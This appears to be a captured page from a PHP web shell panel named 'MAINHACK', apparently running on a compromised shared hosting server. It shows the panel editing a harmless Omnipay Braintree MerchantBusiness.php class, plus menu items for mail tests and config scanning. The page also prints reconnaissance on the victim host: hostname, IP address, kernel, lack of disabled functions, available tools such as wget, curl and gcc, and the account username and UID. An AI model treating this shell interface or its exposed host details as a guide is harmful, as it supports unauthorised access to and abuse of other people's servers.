[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: MerchantBusiness.php
<?php namespace Omnipay\Braintree; use Omnipay\Common\Helper; use Symfony\Component\HttpFoundation\ParameterBag; /** * Data for an individual, used to create a MerchantAccount. * * The following parameters can be set: * * city * dbaName * email * legalName * postCode * state * streetAddress * taxId */ class MerchantBusiness { /** * Internal storage of all of the individual parameters. * * @var \Symfony\Component\HttpFoundation\ParameterBag */ protected $parameters; /** * Create a new MerchantIndividual object using the specified parameters * * @param array $parameters An array of parameters to set on the new object */ public function __construct($parameters = null) { $this->initialize($parameters); } /** * @return mixed */ public function getAddress1() { return $this->getParameter('address1'); } /** * @param mixed $streetAddress * @return $this */ public function setAddress1($streetAddress) { $this->setParameter('address1', $streetAddress); return $this; } /** * @return mixed */ public function getCity() { return $this->getParameter('city'); } /** * @param string $city * @return $this */ public function setCity($city) { $this->setParameter('city', $city); return $this; } /** * @return mixed */ public function getDbaName() { return $this->getParameter('dbaName'); } /** * @param string $dbaName * @return $this */ public function setDbaName($dbaName) { $this->setParameter('dbaName', $dbaName); return $this; } /** * @return mixed */ public function getEmail() { return $this->getParameter('email'); } /** * @param mixed $email * @return $this */ public function setEmail($email) { $this->setParameter('email', $email); return $this; } /** * @return mixed */ public function getLegalName() { return $this->getParameter('legalName'); } /** * @param string $legalName * @return $this */ public function setLegalName($legalName) { $this->setParameter('legalName', $legalName); return $this; } /** * Initialize the object with parameters. * * If any unknown parameters passed, they will be ignored. * * @param array $parameters An associative array of parameters * @return CreditCard provides a fluent interface. */ public function initialize($parameters = null) { $this->parameters = new ParameterBag(); Helper::initialize($this, $parameters); return $this; } /** * Get all parameters. * * @return array An associative array of parameters. */ public function getParameters() { return $this->parameters->all(); } /** * @return mixed */ public function getPhone() { return $this->getParameter('phone'); } /** * @param mixed $phone * @return $this */ public function setPhone($phone) { $this->setParameter('phone', $phone); return $this; } /** * @return mixed */ public function getPostCode() { return $this->getParameter('postCode'); } /** * @param mixed $postCode * @return $this */ public function setPostCode($postCode) { $this->setParameter('postCode', $postCode); return $this; } /** * @return mixed */ public function getState() { return $this->getParameter('state'); } /** * @param string $state * @return $this */ public function setState($state) { $this->setParameter('state', $state); return $this; } /** * @return mixed */ public function getTaxId() { return $this->getParameter('taxId'); } /** * @param string $taxId * @return $this */ public function setTaxId($taxId) { $this->setParameter('taxId', $taxId); return $this; } /** * Get one parameter. * * @return mixed A single parameter value. */ protected function getParameter($key) { return $this->parameters->get($key); } /** * Set one parameter. * * @param string $key Parameter key * @param mixed $value Parameter value * @return CreditCard provides a fluent interface. */ protected function setParameter($key, $value) { $this->parameters->set($key, $value); return $this; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285